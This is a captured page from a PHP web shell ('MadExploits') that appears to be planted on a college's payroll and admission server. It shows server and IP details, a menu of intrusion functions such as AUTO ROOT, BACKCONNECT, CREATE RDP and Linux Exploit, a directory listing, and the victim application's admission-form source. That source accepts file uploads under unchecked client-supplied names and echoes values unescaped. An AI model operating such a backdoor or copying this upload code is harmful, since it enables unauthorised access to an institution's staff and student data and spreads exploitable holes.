Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.117.129.72
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
wwwroot /
jdcpatala.org /
payroll /
[ HOME SHELL ]
Name
Size
Permission
Action
ad_jquery
[ DIR ]
drwxr-xr-x
admin_task
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
highslide
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
reports
[ DIR ]
drwxr-xr-x
simplexlsx-master
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
Bank_Transfer_Admission.php
3.17
KB
-rw-r--r--
Distrcits.php
6.43
KB
-rw-r--r--
ICM1401.jpg
20.16
KB
-rw-r--r--
Library_membership.php
2.92
KB
-rw-r--r--
Qualification.php
5.72
KB
-rw-r--r--
Request_leave.php
3.99
KB
-rw-r--r--
Student_reports.php
1.54
KB
-rw-r--r--
University.php
6.15
KB
-rw-r--r--
add_new_user.php
5.51
KB
-rw-r--r--
add_subjects.php
2.84
KB
-rw-r--r--
admin_task.php
5.63
KB
-rw-r--r--
admin_task_leave.php
6
KB
-rw-r--r--
admission_dashborad.php
5.56
KB
-rw-r--r--
admission_preview.php
19.35
KB
-rw-r--r--
admission_report.php
13.55
KB
-rw-r--r--
ajaximage.php
984
B
-rw-r--r--
attendance.php
4.34
KB
-rw-r--r--
auth.php
249
B
-rw-r--r--
back.php
1.2
KB
-rw-r--r--
bank.php
5.67
KB
-rw-r--r--
blank.php
834
B
-rw-r--r--
calendar.php
1.46
KB
-rw-r--r--
card.php
406
B
-rw-r--r--
caste.php
6.35
KB
-rw-r--r--
category.php
5.65
KB
-rw-r--r--
change.php
494
B
-rw-r--r--
change_salary.php
4.83
KB
-rw-r--r--
character.php
2.05
KB
-rw-r--r--
chart.php
4.45
KB
-rw-r--r--
chief.png
5.98
KB
-rw-r--r--
city.php
7.58
KB
-rw-r--r--
client_door.php
2.44
KB
-rw-r--r--
college_info.php
7.44
KB
-rw-r--r--
da.php
5.47
KB
-rw-r--r--
dash_admission.php
10.71
KB
-rw-r--r--
date.js
11.66
KB
-rw-r--r--
department.php
5.63
KB
-rw-r--r--
designations.php
5.54
KB
-rw-r--r--
editSalary.php
29.6
KB
-rw-r--r--
edit_student_admission.php
27.24
KB
-rw-r--r--
emp_dash.php
2.56
KB
-rw-r--r--
emply_load.php
43
B
-rw-r--r--
emptype.php
5.51
KB
-rw-r--r--
enter_attendance.php
7.19
KB
-rw-r--r--
error.php
1.84
KB
-rw-r--r--
fee_edit.php
18.57
KB
-rw-r--r--
fee_receipts.php
6.17
KB
-rw-r--r--
fee_s.php
23.02
KB
-rw-r--r--
file-manager.php
1.19
KB
-rw-r--r--
filter_admno.php
479
B
-rw-r--r--
filter_studid.php
732
B
-rw-r--r--
footer.php
3.3
KB
-rw-r--r--
form.php
13.22
KB
-rw-r--r--
foundation.php
5.68
KB
-rw-r--r--
functions.php
1.03
KB
-rw-r--r--
functions_hr.php
947
B
-rw-r--r--
gallery.php
1.42
KB
-rw-r--r--
gender.php
5.49
KB
-rw-r--r--
gender_admission_report.php
4.96
KB
-rw-r--r--
gender_admission_report_old.ph...
3.63
KB
-rw-r--r--
getClassDetail.php
1.47
KB
-rw-r--r--
getStudentRegistrationDetails....
1.22
KB
-rw-r--r--
grid.php
8.81
KB
-rw-r--r--
grn_new_add.php
25.5
KB
-rw-r--r--
header.php
5.53
KB
-rw-r--r--
hr.php
2.52
KB
-rw-r--r--
icon.php
312.57
KB
-rw-r--r--
index.php
3.71
KB
-rw-r--r--
info.php
23
B
-rw-r--r--
last_stream.php
5.67
KB
-rw-r--r--
leave_managment.php
1.23
KB
-rw-r--r--
list_job.php
5.83
KB
-rw-r--r--
load_data.php
1.27
KB
-rw-r--r--
loader.gif
10.57
KB
-rw-r--r--
login.php
8.15
KB
-rw-r--r--
logout.php
254
B
-rw-r--r--
mcm_admin
330
B
-rw-r--r--
mcm_admission.php
52.06
KB
-rw-r--r--
mcm_admission_record.php
7.76
KB
-rw-r--r--
meerutCollegeHome.jpg
304.11
KB
-rw-r--r--
new_emp.php
24.74
KB
-rw-r--r--
new_emp_Gyan.php
24.86
KB
-rw-r--r--
new_subject.php
3.34
KB
-rw-r--r--
notice.php
11.71
KB
-rw-r--r--
paper.php
8
KB
-rw-r--r--
payBill_reports.php
4.1
KB
-rw-r--r--
pay_scale.php
5.52
KB
-rw-r--r--
pay_slip.php
2.54
KB
-rw-r--r--
payroll_period.php
8.16
KB
-rw-r--r--
persnal_details.php
3.02
KB
-rw-r--r--
pf.php
5.46
KB
-rw-r--r--
postal.php
7.43
KB
-rw-r--r--
practical.php
5.63
KB
-rw-r--r--
profile.php
954
B
-rw-r--r--
read_msg.php
8.27
KB
-rw-r--r--
religion.php
5.57
KB
-rw-r--r--
reports.php
5.4
KB
-rw-r--r--
salary_gen.php
28.52
KB
-rw-r--r--
salary_management.php
2.32
KB
-rw-r--r--
salary_transfer.php
8.51
KB
-rw-r--r--
send_msg.php
8.02
KB
-rw-r--r--
session.php
5.61
KB
-rw-r--r--
shift.php
5.63
KB
-rw-r--r--
state.php
5.78
KB
-rw-r--r--
stream.php
6.16
KB
-rw-r--r--
student_transfer.php
7.8
KB
-rw-r--r--
subjects.php
4.83
KB
-rw-r--r--
submit_atten_sms.php
5.91
KB
-rw-r--r--
totalSalary_reports.php
4.11
KB
-rw-r--r--
total_salary.php
5.65
KB
-rw-r--r--
tour.php
1.04
KB
-rw-r--r--
transfer.php
11.26
KB
-rw-r--r--
transfer1.php
11.21
KB
-rw-r--r--
transferSalary.php
4.9
KB
-rw-r--r--
transfer_certificates.php
5.81
KB
-rw-r--r--
typography.php
8.34
KB
-rw-r--r--
ui.php
11.77
KB
-rw-r--r--
update_emp.php
22.95
KB
-rw-r--r--
update_image.php
8.97
KB
-rw-r--r--
update_img.php
2.81
KB
-rw-r--r--
update_salary.php
4.96
KB
-rw-r--r--
upload_merit_list.php
6.38
KB
-rw-r--r--
upload_photo.php
529
B
-rw-r--r--
view_attendacne.php
6.02
KB
-rw-r--r--
view_leave.php
1.85
KB
-rw-r--r--
view_sms_attendacne.php
6.04
KB
-rw-r--r--
wampmanager.ini
142.65
KB
-rw-r--r--
withdrawl_list.php
73.5
KB
-rw-r--r--
x.php
4.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mcm_admission.php
<?php error_reporting(4); include('header.php'); include('include/config.php'); require_once("functions.php"); global $db; $id = $db->real_escape($_GET['id']); $val = $db->real_escape($_GET['val']); if(isset($val) && $val == "edit"){ $record = $db->fetch_array($db->query("SELECT * FROM student_registration WHERE id='$id'")); } if(isset($_POST['register']) || isset($_POST['update'])){ $id = $db->real_escape($_POST['id']); if(isset($_POST['update'])){ $document = $db->fetch_array($db->query("SELECT * FROM student_registration WHERE id = '$id'")); } $user = $db->real_escape($_POST['user']); $session = $db->real_escape($_POST['session']); $merit_list_no = $db->real_escape($_POST['merit_list_no']); $class = $db->real_escape($_POST['class']); $uni_reg_no = $db->real_escape($_POST['uni_reg_no']); $rank = $db->real_escape($_POST['rank']); $unreserved = $db->real_escape($_POST['unreserved']); $res_category = $db->real_escape($_POST['res_category']); $res_certificate_no = $db->real_escape($_POST['res_certificate_no']); $res_subcategory = $db->real_escape($_POST['res_subcategory']); $weightage = $db->real_escape($_POST['weightage']); $weightage_certificate_no = $db->real_escape($_POST['weightage_certificate_no']); $belongs_to = $db->real_escape($_POST['belongs_to']); $first_name = $db->real_escape($_POST['first_name']); $middle_name = $db->real_escape($_POST['middle_name']); $last_name = $db->real_escape($_POST['last_name']); $religion = $db->real_escape($_POST['religion']); $gender = $db->real_escape($_POST['gender']); $date = $db->real_escape($_POST['date']); $month = $db->real_escape($_POST['month']); $year = $db->real_escape($_POST['year']); $social_category = $db->real_escape($_POST['social_category']); $social_certificate_no = $db->real_escape($_POST['social_certificate_no']); if(!empty($_FILES['social_certificate']['name'])){ $social_certificate = "document upload/social certificate/".time().$_FILES['social_certificate']['name']; if(isset($_POST['update'])){ unlink($document['social_certificate']); } }else{ $social_certificate = $document['social_certificate']; } $subcategory = $db->real_escape($_POST['subcategory']); $subcategory_certificate_no = $db->real_escape($_POST['subcategory_certificate_no']); if(!empty($_FILES['subcategory_certificate']['name'])){ $subcategory_certificate = "document upload/subcategory certificate/".time().$_FILES['subcategory_certificate']['name']; if(isset($_POST['update'])){ unlink($document['subcategory_certificate']); } }else{ $subcategory_certificate = $document['subcategory_certificate']; } $disability = $db->real_escape($_POST['disability']); $disability_certificate_no = $db->real_escape($_POST['disability_certificate_no']); if(!empty($_FILES['disability_certificate']['name'])){ $disability_certificate = "document upload/disability certificate/".time().$_FILES['disability_certificate']['name']; if(isset($_POST['update'])){ unlink($document['disability_certificate']); } }else{ $disability_certificate = $document['disability_certificate']; } $house_no = $db->real_escape($_POST['house_no']); $village = $db->real_escape($_POST['village']); $post_office = $db->real_escape($_POST['post_office']); $district = $db->real_escape($_POST['district']); $pincode = $db->real_escape($_POST['pincode']); $state = $db->real_escape($_POST['state']); $state_certificate_no = $db->real_escape($_POST['state_certificate_no']); if(!empty($_FILES['state_certificate']['name'])){ $state_certificate = "document upload/state certificate/".time().$_FILES['state_certificate']['name']; if(isset($_POST['update'])){ unlink($document['state_certificate']); } }else{ $state_certificate = $document['state_certificate']; } $mobile_no = $db->real_escape($_POST['mobile_no']); $email = $db->real_escape($_POST['email']); $aadhar = $db->real_escape($_POST['aadhar']); if(!empty($_FILES['photo']['name'])){ $photo = "document upload/photo/".time().$_FILES['photo']['name']; if(isset($_POST['update'])){ unlink($document['photo']); } }else{ $photo = $document['photo']; } $father_house_no = $db->real_escape($_POST['father_house_no']); $father_village = $db->real_escape($_POST['father_village']); $father_post_office = $db->real_escape($_POST['father_post_office']); $father_district = $db->real_escape($_POST['father_district']); $father_pincode = $db->real_escape($_POST['father_pincode']); $father_mobile_no = $db->real_escape($_POST['father_mobile_no']); $father_name = $db->real_escape($_POST['father_name']); $father_email = $db->real_escape($_POST['father_email']); $father_aadhar = $db->real_escape($_POST['father_aadhar']); $annual_income = $db->real_escape($_POST['annual_income']); $income_certificate_no = $db->real_escape($_POST['income_certificate_no']); if(!empty($_FILES['income_certificate']['name'])){ $income_certificate = "document upload/income certificate/".time().$_FILES['income_certificate']['name']; if(isset($_POST['update'])){ unlink($document['income_certificate']); } }else{ $income_certificate = $document['income_certificate']; } $mother_name = $db->real_escape($_POST['mother_name']); $mother_mobile_no = $db->real_escape($_POST['mother_mobile_no']); $hs_subject = $db->real_escape($_POST['hs_subject']); $hs_year = $db->real_escape($_POST['hs_year']); $hs_board = $db->real_escape($_POST['hs_board']); $hs_division = $db->real_escape($_POST['hs_division']); $hs_roll_no = $db->real_escape($_POST['hs_roll_no']); $hs_obtained = $db->real_escape($_POST['hs_obtained']); $hs_maximum = $db->real_escape($_POST['hs_maximum']); $inter_subject = $db->real_escape($_POST['inter_subject']); $inter_year = $db->real_escape($_POST['inter_year']); $inter_board = $db->real_escape($_POST['inter_board']); $inter_division = $db->real_escape($_POST['inter_division']); $inter_roll_no = $db->real_escape($_POST['inter_roll_no']); $inter_obtained = $db->real_escape($_POST['inter_obtained']); $inter_maximum = $db->real_escape($_POST['inter_maximum']); $ug_qualification = $db->real_escape($_POST['ug_qualification']); $ug_subject = $db->real_escape($_POST['ug_subject']); $ug_year = $db->real_escape($_POST['ug_year']); $ug_board = $db->real_escape($_POST['ug_board']); $ug_division = $db->real_escape($_POST['ug_division']); $ug_roll_no = $db->real_escape($_POST['ug_roll_no']); $ug_obtained = $db->real_escape($_POST['ug_obtained']); $ug_maximum = $db->real_escape($_POST['ug_maximum']); $pg_qualification = $db->real_escape($_POST['pg_qualification']); $pg_subject = $db->real_escape($_POST['pg_subject']); $pg_year = $db->real_escape($_POST['pg_year']); $pg_board = $db->real_escape($_POST['pg_board']); $pg_division = $db->real_escape($_POST['pg_division']); $pg_roll_no = $db->real_escape($_POST['pg_roll_no']); $pg_obtained = $db->real_escape($_POST['pg_obtained']); $pg_maximum = $db->real_escape($_POST['pg_maximum']); $other_subject = $db->real_escape($_POST['other_subject']); $other_year = $db->real_escape($_POST['other_year']); $other_board = $db->real_escape($_POST['other_board']); $other_division = $db->real_escape($_POST['other_division']); $other_roll_no = $db->real_escape($_POST['other_roll_no']); $other_obtained = $db->real_escape($_POST['other_obtained']); $other_maximum = $db->real_escape($_POST['other_maximum']); $declaration_a = $db->real_escape($_POST['declaration_a']); $declaration_b = $db->real_escape($_POST['declaration_b']); $affidevit = $db->real_escape($_POST['affidevit']); if(isset($_POST['update'])){ $operation = "UPDATE"; $where = "WHERE id = '$id'"; $msg = "Record Updated Successfully"; }else{ $operation = "INSERT INTO"; $where = ""; $msg = "Record Added Successfully"; } $query = $db->query("$operation student_registration SET session = '$session', merit_list_no = '$merit_list_no', class = '$class', uni_reg_no = '$uni_reg_no', rank = '$rank', unreserved = '$unreserved', res_category = '$res_category', res_certificate_no = '$res_certificate_no', res_subcategory = '$res_subcategory', weightage = '$weightage', weightage_certificate_no = '$weightage_certificate_no', belongs_to = '$belongs_to', first_name = '$first_name', middle_name = '$middle_name', last_name = '$last_name', religion = '$religion', gender = '$gender', date = '$date', month = '$month', year = '$year', social_category = '$social_category', social_certificate_no = '$social_certificate_no', social_certificate = '$social_certificate', subcategory = '$subcategory', subcategory_certificate_no = '$subcategory_certificate_no', subcategory_certificate = '$subcategory_certificate', disability = '$disability', disability_certificate_no = '$disability_certificate_no', disability_certificate = '$disability_certificate', house_no = '$house_no', village = '$village', post_office = '$post_office', district = '$district', pincode = '$pincode', state = '$state', state_certificate_no = '$state_certificate_no', state_certificate = '$state_certificate', mobile_no = '$mobile_no', email = '$email', aadhar = '$aadhar', photo = '$photo', father_house_no = '$father_house_no', father_village = '$father_village', father_post_office = '$father_post_office', father_district = '$father_district', father_pincode = '$father_pincode', father_name = '$father_name', father_mobile_no = '$father_mobile_no', father_email = '$father_email', annual_income = '$annual_income', income_certificate_no = '$income_certificate_no', income_certificate = '$income_certificate', mother_name = '$mother_name', mother_mobile_no = '$mother_mobile_no', hs_subject = '$hs_subject', hs_year = '$hs_year', hs_board = '$hs_board', hs_division = '$hs_division', hs_roll_no = '$hs_roll_no', hs_obtained = '$hs_obtained', hs_maximum = '$hs_maximum', inter_subject = '$inter_subject', inter_year = '$inter_year', inter_board = '$inter_board', inter_division = '$inter_division', inter_roll_no = '$inter_roll_no',inter_obtained = '$inter_obtained', inter_maximum = '$inter_maximum', ug_qualification = '$ug_qualification', ug_subject = '$ug_subject', ug_year = '$ug_year', ug_board = '$ug_board', ug_division = '$ug_division', ug_roll_no = '$ug_roll_no',ug_obtained = '$ug_obtained', ug_maximum = '$ug_maximum', pg_qualification = '$pg_qualification', pg_subject = '$pg_subject', pg_year = '$pg_year', pg_board = '$pg_board', pg_division = '$pg_division', pg_roll_no = '$pg_roll_no',pg_obtained = '$pg_obtained', pg_maximum = '$pg_maximum', other_qualification = '$other_qualification', other_subject = '$other_subject', other_year = '$other_year', other_board = '$other_board', other_division = '$other_division', other_roll_no = '$other_roll_no',other_obtained = '$other_obtained', other_maximum = '$other_maximum', declaration_a = '$declaration_a', declaration_b = '$declaration_b', affidevit = '$affidevit' $where"); if($query){ if(!empty($_FILES['social_certificate']['name'])){ move_uploaded_file($_FILES['social_certificate']['tmp_name'], $social_certificate); } if(!empty($_FILES['subcategory_certificate']['name'])){ move_uploaded_file($_FILES['subcategory_certificate']['tmp_name'], $subcategory_certificate); } if(!empty($_FILES['disability_certificate']['name'])){ move_uploaded_file($_FILES['disability_certificate']['tmp_name'], $disability_certificate); } if(!empty($_FILES['photo']['name'])){ move_uploaded_file($_FILES['photo']['tmp_name'], $photo); } if(!empty($_FILES['state_certificate']['name'])){ move_uploaded_file($_FILES['state_certificate']['tmp_name'], $state_certificate); } if(!empty($_FILES['income_certificate']['name'])){ move_uploaded_file($_FILES['income_certificate']['tmp_name'], $income_certificate); } echo "<script>alert('$msg');</script>"; }else{ echo "<script>alert('failed');</script>"; } } if(isset($val) && $val == "edit"){ $user = $record['user']; }else{ $user = $_SESSION['SESS_FIRST_NAME']; } ?> <script> function readURL1(input) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function(e) { $('#blah').attr('src', e.target.result); } reader.readAsDataURL(input.files[0]); } } function readURL2(input) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function(e) { $('#profile').attr('src', e.target.result); } reader.readAsDataURL(input.files[0]); } } $("#filePhoto").change(function() { readURL(this); }); $("#fileProfile").change(function() { readURL(this); }); </script> <style> .input-xlarge { width: 170px !important; } .box-content{ padding: 30px !important; } </style> <div> <ul class="breadcrumb"> <li> <a href="index.php">Home</a> <span class="divider">/</span> </li> <li> <a href="admission_dashborad.php">Admission Dashboard</a><span class="divider">/</span> </li> <li> <a href="dash_admission.php"> Dashboard</a><span class="divider">/</span> </li> <li> <a href="#">New Admission</a> </li> </ul> </div> <center> <?php echo $_SESSION['msg']; unset($_SESSION['msg']); ?> </center> <form class="form-horizontal" method="post" enctype="multipart/form-data"> <fieldset> <div class="row-fluid sortable"> <div class="box span12"> <div class="box-header well" data-original-title> <h2><i class="icon-picture"></i>New Admission / College Registration</h2> <div class="box-icon"> DOA : <?php echo $date=date("d-m-Y"); ?> </div> </div> <div class="row-fluid sortable"> <div class="box span12"> <div class="box-content"> <input type="hidden" name="id" value="<?php echo $id;?>"> <input type="hidden" name="user" value="<?php echo $user;?>"> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="selectError3">Session</label> <div class="controls"> <select class="input-xlarge focused" id="session" name="session" required> <?php $session_q =mysql_query("select * from session "); while($session_r = mysql_fetch_array($session_q)){?> <option value="<?php echo $session_r['sess']; ?>" <?php if($session_r['sess'] == $record['session']){echo "selected";}?>><?php echo $session_r['sess']; ?></option> <?php }?> </select> </div> </div> <div class="control-group span4"> <label class="control-label" for="focusedInput">Merit List No.</label> <div class="controls"> <select class="input-xlarge focused" id="merit_list_no" name="merit_list_no" required> <option value="">Select</option> <?php $merit_q =mysql_query("select DISTINCT merit_list from merit_list"); while($merit_r = mysql_fetch_array($merit_q)){?> <option value="<?php echo $merit_r['merit_list']; ?>" <?php if($merit_r['merit_list'] == $record['merit_list_no']){echo "selected";}?>><?php echo $merit_r['merit_list']; ?></option> <?php }?> </select> </div> </div> <div class="control-group span4"> <label class="control-label" for="focusedInput">Class</label> <div class="controls"> <select class="input-xlarge focused" id="class" name="class" required> <option value="">Select</option> <?php $class_q =mysql_query("select DISTINCT course from merit_list"); while($class_r = mysql_fetch_array($class_q)){?> <option value="<?php echo $class_r['course']; ?>" <?php if($class_r['course'] == $record['class']){echo "selected";}?>><?php echo $class_r['course']; ?></option> <?php }?> </select> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="focusedInput">University Reg No.</label> <div class="controls"> <input class="input-xlarge focused" id="uni_reg_no" type="text" name="uni_reg_no" value="<?php echo $record['uni_reg_no'];?>" required > </div> </div> <div class="control-group span4"> <button type="button" onclick="getDetails()" class="btn btn-primary">Load Details</button> <div class="controls"> </div> </div> <div class="control-group span4"> <label class="control-label" for="focusedInput">Rank</label> <div class="controls"> <input class="input-xlarge focused" id="rank" type="text" name="rank" value="<?php echo $record['rank'];?>" required > </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span3"> <label style="width:100%" class="control-label">Whether General/ Unreserved</label> </div> <div class="control-group span4"> <div class="controls"> <label class="radio"> <input type="radio" id="unreserved" value="No" <?php if(isset($val) && $val == "edit"){echo $record['unreserved'] == "No"?"checked":"";}else{echo "checked";}?> name="unreserved" required /> No </label> <label class="radio"> <input type="radio" id="unreserved" value="Yes" <?php if(isset($val) && $val == "edit"){echo $record['unreserved'] == "Yes"?"checked":"";}?> name="unreserved" required /> Yes </label> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="focusedInput">Reservation Category</label> <div class="controls"> <select class="input-xlarge focused" id="res_category" name="res_category" required> <option value="">Select</option> <?php $res_cat_q =mysql_query("select DISTINCT res_category from merit_list"); while($res_cat_r = mysql_fetch_array($res_cat_q)){?> <option value="<?php echo $res_cat_r['res_category']; ?>" <?php if($res_cat_r['res_category'] == $record['res_category']){echo "selected";}?>><?php echo $res_cat_r['res_category']; ?></option> <?php }?> </select> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="res_certificate_no" name="res_certificate_no" value="<?php echo $record['res_certificate_no'];?>" required> </div> </div> <div class="control-group span4"> <label class="control-label">Sub Category</label> <div class="controls"> <select class="input-xlarge focused" id="res_subcategory" name="res_subcategory"> <option value="">Select</option> <?php $res_subcat_q =mysql_query("select * from res_subcategory "); while($res_subcat_r = mysql_fetch_array($res_subcat_q)){?> <option value="<?php echo $res_subcat_r['res_subcategory']; ?>" <?php if($res_subcat_r['res_subcategory'] == $record['res_subcategory']){echo "selected";}?>><?php echo $res_subcat_r['res_subcategory']; ?></option> <?php }?> </select> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="focusedInput">weightage</label> <div class="controls"> <select class="input-xlarge focused" id="weightage" name="weightage" required> <option value="">Select</option> <?php $weightage_q =mysql_query("select DISTINCT weightage from merit_list"); while($weightage_r = mysql_fetch_array($weightage_q)){?> <option value="<?php echo $weightage_r['weightage']; ?>" <?php if($weightage_r['weightage'] == $record['weightage']){echo "selected";}?>><?php echo $weightage_r['weightage']; ?></option> <?php }?> </select> </div> </div> <div class="control-group span4"> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="weightage_certificate_no" name="weightage_certificate_no" value="<?php echo $record['weightage_certificate_no'];?>" required> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span3"> <label style="width:100%" class="control-label">Student Belongs to</label> </div> <div class="control-group span4"> <div class="controls"> <label class="radio"> <input type="radio" id="belongs_to1" value="No" <?php if(isset($val) && $val == "edit"){echo $record['belongs_to'] == "No"?"checked":"";}else{echo "checked";}?> name="belongs_to" required /> No </label> <label class="radio"> <input type="radio" id="belongs_to2" value="Yes" <?php if(isset($val) && $val == "edit"){echo $record['belongs_to'] == "Yes"?"checked":"";}?> name="belongs_to" required /> Yes </label> </div> </div> </div> </div> </div> </div> <fieldset> <legend>Basic Details:</legend> <div class="box"> <div class="box-content"> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="selectError3">First Name</label> <div class="controls"> <input class="input-xlarge focused" id="first_name" type="text" name="first_name" value="<?php echo $record['first_name'];?>" required > </div> </div> <div class="control-group span4"> <label class="control-label" for="focusedInput">Middle Name</label> <div class="controls"> <input class="input-xlarge focused" id="middle_name" type="text" name="middle_name" value="<?php echo $record['middle_name'];?>" required > </div> </div> <div class="control-group span4"> <label class="control-label" for="focusedInput">Last Name</label> <div class="controls"> <input class="input-xlarge focused" id="last_name" type="text" name="last_name" value="<?php echo $record['last_name'];?>" required > </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span2"> </div> <div class="control-group span4"> <b>* Name as per High School Certificate</b> </div> <div class="control-group span6"> <b>* Do not use Mr/Ms/Kumar/Kumari etc in name </b> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="focusedInput">Religion</label> <div class="controls"> <select class="input-xlarge focused" id="religion" name="religion" required> <option value="">Select</option> <option value="Hindu" <?php if("Hindu" == $record['religion']){echo "selected";}?>>Hindu</option> <option value="Muslim" <?php if("Muslim" == $record['religion']){echo "selected";}?>>Muslim</option> <option value="Jain" <?php if("Jain" == $record['religion']){echo "selected";}?>>Jain</option> <option value="Sikh" <?php if("Sikh" == $record['religion']){echo "selected";}?>>Sikh</option> <option value="Christian" <?php if("Christian" == $record['religion']){echo "selected";}?>>Christian</option> <option value="Other" <?php if("Other" == $record['religion']){echo "selected";}?>>Other</option> </select> </div> </div> <div class="control-group span4"> <label class="control-label">Gender</label> <div class="controls"> <select class="input-xlarge focused" id="gender" name="gender" required> <option value="">Select</option> <option value="Male" <?php if("Male" == $record['gender']){echo "selected";}?>>Male</option> <option value="Female" <?php if("Female" == $record['gender']){echo "selected";}?>>Female</option> <option value="Other" <?php if("Other" == $record['gender']){echo "selected";}?>>Other</option> </select> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span16"> <label class="control-label" for="focusedInput">DOB</label> <div class="controls" style="display:flex"> <select class="input-xlarge focused" id="date" name="date" required> <option value="">Select Date</option> <?php for($i=1;$i<=31;$i++){?> <option value="<?php echo $i?>" <?php if($i == $record['date']){echo "selected";}?>><?php echo $i?></option> <?php }?> </select> <select class="input-xlarge focused" id="month" name="month" required> <option value="">Select Month</option> <option value="01" <?php if("01" == $record['month']){echo "selected";}?>>01</option> <option value="02" <?php if("02" == $record['month']){echo "selected";}?>>02</option> <option value="03" <?php if("03" == $record['month']){echo "selected";}?>>03</option> <option value="04" <?php if("04" == $record['month']){echo "selected";}?>>04</option> <option value="05" <?php if("05" == $record['month']){echo "selected";}?>>05</option> <option value="06" <?php if("06" == $record['month']){echo "selected";}?>>06</option> <option value="07" <?php if("07" == $record['month']){echo "selected";}?>>07</option> <option value="08" <?php if("08" == $record['month']){echo "selected";}?>>08</option> <option value="09" <?php if("09" == $record['month']){echo "selected";}?>>09</option> <option value="10" <?php if("10" == $record['month']){echo "selected";}?>>10</option> <option value="11" <?php if("11" == $record['month']){echo "selected";}?>>11</option> <option value="12" <?php if("12" == $record['month']){echo "selected";}?>>12</option> </select> <select class="input-xlarge focused" id="year" name="year" required> <option value="">Select Year</option> <?php for($i=date("Y");$i>=1980;$i--){?> <option value="<?php echo $i?>" <?php if($i == $record['year']){echo "selected";}?>><?php echo $i?></option> <?php }?> </select> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="focusedInput">Social Category</label> <div class="controls"> <select class="input-xlarge focused" id="social_category" name="social_category" required> <option value="">Select</option> <option value="General" <?php if("General" == $record['social_category']){echo "selected";}?>>General</option> <option value="OBC" <?php if("OBC" == $record['social_category']){echo "selected";}?>>OBC</option> <option value="SC" <?php if("SC" == $record['social_category']){echo "selected";}?>>SC</option> <option value="ST" <?php if("ST" == $record['social_category']){echo "selected";}?>>ST</option> </select> </div> </div> <div class="control-group span4 social-category" <?php if($record['social_category'] == "general" || empty($record['social_category'])){echo "style='display:none'";}?>> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="social_certificate_no" name="social_certificate_no" value="<?php echo $record['social_certificate_no'];?>" required> </div> </div> <div class="control-group span4 social-category" <?php if($record['social_category'] == "general" || empty($record['social_category'])){echo "style='display:none'";}?>> <label class="control-label" for="date01">upload</label> <div class="controls"> <input type="file" class="input-xlarge" id="social_certificate" name="social_certificate"> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" for="focusedInput">Sub Category</label> <div class="controls"> <select class="input-xlarge focused" id="subcategory" name="subcategory"> <option value="">Select</option> <option value="Freedom Fighter" <?php if("Freedom Fighter" == $record['subcategory']){echo "selected";}?>>Freedom Fighter</option> <option value="Army Personal" <?php if("Army Personal" == $record['subcategory']){echo "selected";}?>>Army Personal</option> </select> </div> </div> <div class="control-group span4 sub-category" <?php if(empty($record['subcategory'])){echo "style='display:none'";}?>> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="subcategory_certificate_no" name="subcategory_certificate_no" value="<?php echo $record['subcategory_certificate_no'];?>" required> </div> </div> <div class="control-group span4 sub-category" <?php if(empty($record['subcategory'])){echo "style='display:none'";}?>> <label class="control-label" for="date01">upload</label> <div class="controls"> <input type="file" class="input-xlarge" id="subcategory_certificate" name="subcategory_certificate"> </div> </div> </div> </div> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label">Wheather Person with Disability</label> <div class="controls"> <label class="radio"> <input type="radio" id="disability1" value="No" <?php if(isset($val) && $val == "edit"){echo $record['disability'] == "No"?"checked":"";}else{echo "checked";}?> name="disability" required /> No</label> <label class="radio"> <input type="radio" id="disability2" value="Yes" <?php if(isset($val) && $val == "edit"){echo $record['disability'] == "Yes"?"checked":"";}?> name="disability" required /> Yes </label> </div> </div> <div class="control-group span4 disability" <?php if($record['disability'] == "No" || empty($record['disability'])){echo "style='display:none'";}?>> <label class="control-label" for="date01">Online Certification No.</label> <div class="controls"> <input type="text" class="input-xlarge" id="disability_certificate_no" name="disability_certificate_no" value="<?php echo $record['disability_certificate_no'];?>" required> </div> </div> <div class="control-group span4 disability" <?php if($record['disability'] == "No" || empty($record['disability'])){echo "style='display:none'";}?>> <label class="control-label" for="date01">upload</label> <div class="controls"> <input type="file" class="input-xlarge" id="disability_certificate" name="disability_certificate"> </div> </div> </div> </div> <h3>Student Address:</h3> <br> <div class="row"> <div class="span12"> <div class="control-group span4"> <label class="control-label" 